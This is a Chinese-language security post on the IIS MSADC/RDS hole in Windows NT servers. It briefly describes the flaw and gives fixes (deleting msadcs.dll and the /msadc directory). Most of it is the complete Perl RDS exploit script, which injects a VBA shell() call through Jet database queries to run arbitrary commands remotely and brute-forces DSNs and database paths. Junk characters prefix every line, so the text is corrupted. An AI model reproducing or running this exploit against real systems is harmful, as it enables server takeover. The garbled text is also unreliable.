IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
0w=R_C)s 4J0Rv od_ 涉及程序：
LWnR?Qve< Microsoft NT server
VT%:zf k; ZxY"^ 描述：
4x;_AN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;*2> ES S( ^.?z 详细：
l Dxc`S 如果你没有时间读详细内容的话，就删除:
:A 1: c:\Program Files\Common Files\System\Msadc\msadcs.dll
_;
Y` 有关的安全问题就没有了。
I u[|<Cx T-_"|-k}P% 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
=(HeF.! c>:R3^\lwx 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
RY 9V~8|M 关于利用ODBC远程漏洞的描述，请参看:
c{3wk7 E"~2./+rd http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qS| \JG T>`7 4B: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Oz:
*LZ http://www.microsoft.com/security/bulletins/MS99-025faq.asp KNLnn;l zfA
GtT < 这里不再论述。
a^U~0i@[S TZR)C P5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
%McE` 155 Az;t" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@p 6<Lw_E 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
kM8{C w dG7OqA:9 g%[c<l 9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
p5r]J +1 06q(aI^Ch@ #!perl
q
11IkDa #
TS 2ZF {m # MSADC/RDS 'usage' (aka exploit) script
Uu 8 ,@W+ #
EJ@p-} I! # by rain.forest.puppy
4d b(<h #
o1cErI&q" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~Wo)?q8UY, # beta test and find errors!
Y_woKc* -h|B 1*mt use Socket; use Getopt::Std;
! 8NC# s getopts("e:vd:h:XR", \%args);
G 0%6ch^% ,'xYlH 3s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
*37uy_Ep V L >y J if (!defined $args{h} && !defined $args{R}) {
W\&8au ds print qq~
x^4xq#Bb7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZOCDA2e(j -h <host> = host you want to scan (ip or domain)
}XO K,Hw -d <seconds> = delay between calls, default 1 second
J &pO%Q=b -X = dump Index Server path table, if available
FC i U -v = verbose
.sC?7O = -e = external dictionary file for step 5
(8.Z..PH }J"> }j]/ Or a -R will resume a command session
TJ q~)Bm +t5U. No ~; exit;}
>Cw<BIF &0 >Loja`^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R }^~^# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6f')6X'x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"#[!/\=?: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)M6w5g $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Q8!) !r% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$hivlI-7Ko )Oi T{ -m if (!defined $args{R}){ $ret = &has_msadc;
b2b^1{@h;v die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o(DOQ Gl h 3]wL.V print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I)A`)5="5 . "cmd /c ";
wiz$fj $in=<STDIN>; chomp $in;
]o cWt3| $command="cmd /c " . $in ;
A C>`'Gx QFYWA1<pDh if (defined $args{R}) {&load; exit;}
Ag{i q (X d&ex5CU5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^*P%=>zO &try_btcustmr;
& |f@$ff yKYTi3 _( print "\nStep 2: Trying to make our own DSN...";
Hemq +]6^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
o. 0ci+z@ WI?oSE w print "\nStep 3: Trying known DSNs...";
G:~k.1y[ &known_dsn;
nqInb:
GGnpjwXeH print "\nStep 4: Trying known .mdbs...";
\" X! 2 &known_mdb;
Y.g59X!Ub2 H&:jcgV*P if (defined $args{e}){
{
^cV lC_ print "\nStep 5: Trying dictionary of DSN names...";
q
Y#n'& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?>I;34tL( ^h69Kr#d4 print "Sorry Charley...maybe next time?\n";
Zos P(Td q exit;
j#cYS*^H N[s}qmPha ##############################################################################
-$\+ '
\ F(tx)V
~T3 sub sendraw { # ripped and modded from whisker
-r-k_6QP sleep($delay); # it's a DoS on the server! At least on mine...
u(fm@+$^ my ($pstr)=@_;
!o:f$6EA~C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D#3\y*-y? die("Socket problems\n");
6@rMtQfI if(connect(S,pack "SnA4x8",2,80,$target)){
Ney/[3 A select(S); $|=1;
8C*c{(4 print $pstr; my @in=<S>;
SHe49!RA'{ select(STDOUT); close(S);
z^'gx@YD*v return @in;
S:h{2{ } else { die("Can't connect...\n"); }}
H Z'_r cv 0 u;4%}pD ##############################################################################
|Y ?H A& nih0t^m' sub make_header { # make the HTTP request
19w*!FGX my $msadc=<<EOT
7Zlw^'q$:L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,P;Pm68V User-Agent: ACTIVEDATA
Wk)OkIFR Host: $ip
\ O2 Rhz Content-Length: $clen
3B84^>U< Connection: Keep-Alive
*MKO
I' OCNQvF~ ADCClientVersion:01.06
G"h'_7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
o,_? ^'@ n*2UnKaJ --!ADM!ROX!YOUR!WORLD!
a{ L
d Content-Type: application/x-varg
Lm%: K]X Content-Length: $reqlen
kM,C3x{A be.*#[ EOT
bbE!qk;hEP ; $msadc=~s/\n/\r\n/g;
E7rDa1 return $msadc;}
P G qQ@6B \W~ N ##############################################################################
,J+}rPe"sf Zy`m!]G]80 sub make_req { # make the RDS request
$g> IyT[ my ($switch, $p1, $p2)=@_;
:tV*7S=) my $req=""; my $t1, $t2, $query, $dsn;
]s<[D$ <, 3LOdj T
J if ($switch==1){ # this is the btcustmr.mdb query
JMC. w! $query="Select * from Customers where City=" . make_shell();
'=b/6@& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
HiZ* +T.B $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
uXn1
'K<'2 p M4 :#%V elsif ($switch==2){ # this is general make table query
8A##\j ) $query="create table AZZ (B int, C varchar(10))";
l9{hq/V $dsn="$p1";}
~%<X0s| Kp%2 k^U elsif ($switch==3){ # this is general exploit table query
Cd#(X@n $query="select * from AZZ where C=" . make_shell();
5?{ r $dsn="$p1";}
~vm%6CABM
akp-zn&je elsif ($switch==4){ # attempt to hork file info from index server
9X}10u: $query="select path from scope()";
I|qo +u) $dsn="Provider=MSIDXS;";}
(ZUHvvL P3x8UR=fS elsif ($switch==5){ # bad query
6' k<+IR $query="select";
=^M/{51j $dsn="$p1";}
DX#Nf""Pw A8muQuj]~~ $t1= make_unicode($query);
"g5^_UP $t2= make_unicode($dsn);
xQ7 l~O
b $req = "\x02\x00\x03\x00";
R@1 xt@? $req.= "\x08\x00" . pack ("S1", length($t1));
D+ l AhEN $req.= "\x00\x00" . $t1 ;
<sb~ ^B $req.= "\x08\x00" . pack ("S1", length($t2));
=W(Q34 $req.= "\x00\x00" . $t2 ;
u-QB.iQ+s $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
G/)O@Ugp return $req;}
)}Hpi<5N i1 }:8Unxf ##############################################################################
t% d Z-Ym P78g /p T sub make_shell { # this makes the shell() statement
Ytn9B}% o return "'|shell(\"$command\")|'";}
94'&b=5+ ~[t[y~Hup ##############################################################################
c[0}AG J =9H 7N]*h sub make_unicode { # quick little function to convert to unicode
Kg{+T` my ($in)=@_; my $out;
(p" %O for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
W: z6Koc0 return $out;}
.73X3`P25 'g}! ##############################################################################
aC]$k'71 Amtq"<h9a sub rdo_success { # checks for RDO return success (this is kludge)
wW Lj?;bx my (@in) = @_; my $base=content_start(@in);
u+9hL4 if($in[$base]=~/multipart\/mixed/){
k
R?qb6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1I%w?^sm_ return 0;}
/ixp&Z|7 A kq2 d; ##############################################################################
N DN7[ 7E /!0={G sub make_dsn { # this makes a DSN for us
=>m<GvQz my @drives=("c","d","e","f");
{ a =#B)6 print "\nMaking DSN: ";
W_Jl Oc!y foreach $drive (@drives) {
ld[I}88$ print "$drive: ";
3/P1!:g9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'+@=ILj> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
akmkyrz '& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#$.;'#u'so $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
KqHy G return 0 if $2 eq "404"; # not found/doesn't exist
em y[k if($2 eq "200") {
bTI|F]^! foreach $line (@results) {
?>VLTp8] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
dB{Q" ! } return 0;}
0HZ{Y9] !Lu2 ##############################################################################
Fn wJ+GTu i}cRi &2[ sub verify_exists {
ncaT?~u j my ($page)=@_;
atj (eg my @results=sendraw("GET $page HTTP/1.0\n\n");
x[cL
Bc< return $results[0];}
n'"/KS+_ zrvF]|1UP ##############################################################################
)~X2
&^orW "fb[23g%@k sub try_btcustmr {
N" Z{5 A my @drives=("c","d","e","f");
G?yLo 'Ulo my @dirs=("winnt","winnt35","winnt351","win","windows");
irZ])a %[GsD9_- foreach $dir (@dirs) {
,>: U2% print "$dir -> "; # fun status so you can see progress
2_>N/Z4T foreach $drive (@drives) {
{ 4l8}w print "$drive: "; # ditto
_?nL+\'V $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[|v][Hwv $reqlenlen=length( "$reqlen" );
\P[Y`LYL $clen= 206 + $reqlenlen + $reqlen;
kBS9tKBWg q9B $" n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
QL(n} {.% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Lw1Yvtn else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!n`fTK<$ 59LG{R2 ##############################################################################
U svl}{L[ d z|or9& sub odbc_error {
28-RC>,@} my (@in)=@_; my $base;
{ $oj.V 4 my $base = content_start(@in);
&0d# Y]D4` if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
b 1c y$I $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e +EQ]<M $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8$=n j $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?d* z8 w return $in[$base+4].$in[$base+5].$in[$base+6];}
@@f"%2ZR[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
GC-5X`Sq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.e#w)K $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
x[p|G5 KR} ?H#% ##############################################################################
9+|$$) Q3'llOx sub verbose {
+w`2kv my ($in)=@_;
jRa43ck return if !$verbose;
~g91Pr print STDOUT "\n$in\n";}
#<fRE"v:Q ZtNN<7 ##############################################################################
(g]!J_Z" cZ,b?I"Q% sub save {
Xg6Jh `` my ($p1, $p2, $p3, $p4)=@_;
soxc0OlN open(OUT, ">rds.save") || print "Problem saving parameters...\n";
yxPazz print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2Ah#<k-gC; close OUT;}
{p2!|A&a 9
ql~q ##############################################################################
RH W]Z
Pr< AI2)g1m sub load {
z^B,:5Tt my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D\v+wp. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
h4gXvPS&r @p=<IN>; close(IN);
}FROB/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
r `=I $target= inet_aton($ip) || die("inet_aton problems");
'@v\{ l print "Resuming to $ip ...";
@?s Rj&w $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
E: 68?IJ if($p[1]==1) {
@mCEHI{P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"S[ 450% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
yZY \MB/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
i}f"yO+Q+
if (rdo_success(@results)){print "Success!\n";}
bL` TySX else { print "failed\n"; verbose(odbc_error(@results));}}
LE Nq_@$ elsif ($p[1]==3){
bIDj[-CDG if(run_query("$p[3]")){
_;S- x print "Success!\n";} else { print "failed\n"; }}
>NV @ R& elsif ($p[1]==4){
J3V=
46Yc if(run_query($drvst . "$p[3]")){
fUWG*o9 print "Success!\n"; } else { print "failed\n"; }}
ELoDd& d8 exit;}
!/b>sN} n` _{9R ##############################################################################
,&A7iO dl) Y'DI sub create_table {
mthA4sz my ($in)=@_;
n&4N[Qlv, $reqlen=length( make_req(2,$in,"") ) - 28;
C} j "Qi` $reqlenlen=length( "$reqlen" );
XX TL.. $clen= 206 + $reqlenlen + $reqlen;
K!% +0)A my @results=sendraw(make_header() . make_req(2,$in,""));
#lo6c;*m5 return 1 if rdo_success(@results);
KfEx"94 my $temp= odbc_error(@results); verbose($temp);
0 ] ,r0 return 1 if $temp=~/Table 'AZZ' already exists/;
1ba~ SHi return 0;}
5DU6rks% = j_4S< ##############################################################################
%A/0 ' 1t~G|zhX sub known_dsn {
n+9=1Oo" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Sv#XIMw{, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
A`$%SVgFV^ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^mDe08.
%b "banner", "banners", "ads", "ADCDemo", "ADCTest");
U$.@]F4& ek\ xx foreach $dSn (@dsns) {
rU:`*b< print ".";
DJ k /{Z: next if (!is_access("DSN=$dSn"));
5lmHotj# if(create_table("DSN=$dSn")){
_Ey9G print "$dSn successful\n";
_/$Bpr{R if(run_query("DSN=$dSn")){
(N6 i4
g6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x /S}Q8!"} print "Something's borked. Use verbose next time\n";}}} print "\n";}
sf
qL|8 \ a<h/ 4#| ##############################################################################
k,6f
&#x /4V#C- sub is_access {
t#})Awy^R my ($in)=@_;
.V/Rfq $reqlen=length( make_req(5,$in,"") ) - 28;
::l K L $reqlenlen=length( "$reqlen" );
=[{i{x|Qz $clen= 206 + $reqlenlen + $reqlen;
jXx<`I+] my @results=sendraw(make_header() . make_req(5,$in,""));
@f~RdO3 my $temp= odbc_error(@results);
[Td4K.c verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`pa!~|p return 0;}
%D34/=(X KeB"D!={; ##############################################################################
WR bj01v HYZ5EV sub run_query {
ItVWO:x&v my ($in)=@_;
%6,SKg p $reqlen=length( make_req(3,$in,"") ) - 28;
&X ):4 $reqlenlen=length( "$reqlen" );
(O?.)jEW(. $clen= 206 + $reqlenlen + $reqlen;
d#Y^>"|$. my @results=sendraw(make_header() . make_req(3,$in,""));
P>C~
i:4n return 1 if rdo_success(@results);
z"L/G my $temp= odbc_error(@results); verbose($temp);
W~; `WR;. return 0;}
Lc,Pom ~9]hV7y5C ##############################################################################
Qh3YJ=X& RD i]2 sub known_mdb {
o Q 2Fj j my @drives=("c","d","e","f","g");
`Bp.RXsd* my @dirs=("winnt","winnt35","winnt351","win","windows");
*uf'zQ<9 my $dir, $drive, $mdb;
8 &LQzwa my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+b<FO+E_ $E~`\o%Ev # this is sparse, because I don't know of many
_\G"9,)u ' my @sysmdbs=( "\\catroot\\icatalog.mdb",
L|:`^M+^w "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
nZyX|SPk "\\system32\\certmdb.mdb",
[C z-i "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Q5`*3 h6p= kQSy+q my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/QWvW=F2< "\\cfusion\\cfapps\\forums\\forums_.mdb",
ay
;S4c/_ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
u@UMP@"# "\\cfusion\\cfapps\\security\\realm_.mdb",
=,=A,k I[; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?k&Vy "\\cfusion\\database\\cfexamples.mdb",
L: j<c5 "\\cfusion\\database\\cfsnippets.mdb",
_x' 6 ]f{n "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,X-bJA@( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
F=e8 IUr "\\cfusion\\brighttiger\\database\\cleam.mdb",
\BTODZ:h "\\cfusion\\database\\smpolicy.mdb",
z uad~%D<I "\\cfusion\\database\cypress.mdb",
85:=4N% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?m}s 4a "\\website\\cgi-win\\dbsample.mdb",
3>AMII "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
m)t;9J5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2j88<Yh]H ); #these are just
rk2j#>l$4 foreach $drive (@drives) {
2d #1=+V foreach $dir (@dirs){
Smn;(K foreach $mdb (@sysmdbs) {
A@[o;H }XP print ".";
@ $ ;q ; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
] d0BN`*U. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^R7lom. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
rdP[<Y9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4{U T!WIi } else { print "Something's borked. Use verbose next time\n"; }}}}}
?%-DfCS uM IIYS foreach $drive (@drives) {
ThajH K|U foreach $mdb (@mdbs) {
dO<ER Y print ".";
HZC"nb}r4 if(create_table($drv . $drive . $dir . $mdb)){
x.!V^HQSN print "\n" . $drive . $dir . $mdb . " successful\n";
ZF9z~9 if(run_query($drv . $drive . $dir . $mdb)){
ghG**3xr print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\5:i;A E } else { print "Something's borked. Use verbose next time\n"; }}}}
zm5 ]J }
vjG o;+K |O\s|H ##############################################################################
df4A RP+
F2LLN sub hork_idx {
:Uzm
print "\nAttempting to dump Index Server tables...\n";
M#4p E_G print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
30#s a GV $reqlen=length( make_req(4,"","") ) - 28;
/tx]5`#@7] $reqlenlen=length( "$reqlen" );
TOB-a AO $clen= 206 + $reqlenlen + $reqlen;
I(L,8n5 my @results=sendraw2(make_header() . make_req(4,"",""));
J s@hLP ` if (rdo_success(@results)){
pk$l+sNZ= my $max=@results; my $c; my %d;
SumF
2 for($c=19; $c<$max; $c++){
OUPUixz2Z $results[$c]=~s/\x00//g;
~S"+S/z/k $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
A Ru2W1g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2 /\r)$
2i $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ArI2 wM/v $d{"$1$2"}="";}
~F|+o}a `
foreach $c (keys %d){ print "$c\n"; }
y1eW pPJa } else {print "Index server doesn't seem to be installed.\n"; }}
[2!w_Iw' <e=#F-DE ##############################################################################
+K:Dx!9 D09Sg%w sub dsn_dict {
EPI4 !3] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
#C74z$ while(<IN>){
Z*]9E^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
n`?aC|P2s next if (!is_access("DSN=$dSn"));
1y@i}<9F if(create_table("DSN=$dSn")){
;40/yl3r3[ print "$dSn successful\n";
Fx_z 6a if(run_query("DSN=$dSn")){
sk<3`x+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|PCm01NU! print "Something's borked. Use verbose next time\n";}}}
)np:lL$$ print "\n"; close(IN);}
:1. L}4"gg shy-Gu& ##############################################################################
v!-/&}W) 1 36&e.3/# sub sendraw2 { # ripped and modded from whisker
1Ti f{i,B sleep($delay); # it's a DoS on the server! At least on mine...
F3[T.sf my ($pstr)=@_;
^+>laOzC`8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.GP T!lDc die("Socket problems\n");
YN yk1cE if(connect(S,pack "SnA4x8",2,80,$target)){
j|DsG, print "Connected. Getting data";
` x Ex^P^7 open(OUT,">raw.out"); my @in;
$kdB |4C select(S); $|=1; print $pstr;
g#pr yYz while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
FBe;1OU close(OUT); select(STDOUT); close(S); return @in;
#_ ;lf1x! } else { die("Can't connect...\n"); }}
"yy5F>0Wt >-RQ] ?^ ##############################################################################
~OYiq}g x*\Y)9Vgy sub content_start { # this will take in the server headers
{ =9,n\85# my (@in)=@_; my $c;
zOAd~E for ($c=1;$c<500;$c++) {
%8 B}Cb&2c if($in[$c] =~/^\x0d\x0a/){
A7Cm5>Y _S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
kYP#SH/ else { return $c+1; }}}
Ytp(aE: return -1;} # it should never get here actually
#1A.?p 2G & a{ ##############################################################################
d=$Mim "+R+6< " sub funky {
PfAgM1 my (@in)=@_; my $error=odbc_error(@in);
7FP*oN? if($error=~/ADO could not find the specified provider/){
$D~0~gn~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6m/r+?' exit;}
U/66L+1 if($error=~/A Handler is required/){
[x=s(:qy print "\nServer has custom handler filters (they most likely are patched)\n";
:(U ,x<> exit;}
Fo (fWvz if($error=~/specified Handler has denied Access/){
h lvK5Z print "\nServer has custom handler filters (they most likely are patched)\n";
Jc& {`s^Nu exit;}}
x$A+lj]x xA2YG|RU=b ##############################################################################
EqkN3%I G c)6m$5] sub has_msadc {
.O 5Z8 p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pGP7nw_g my $base=content_start(@results);
jh?H.;** return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Y #ap* return 0;}
:DK {Vg6 8? B! 2 ########################
!]A 0I-9nuw,^; ('4_
xOb 解决方案：
[NjXO`5#] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k{R> 2、移除web 目录: /msadc
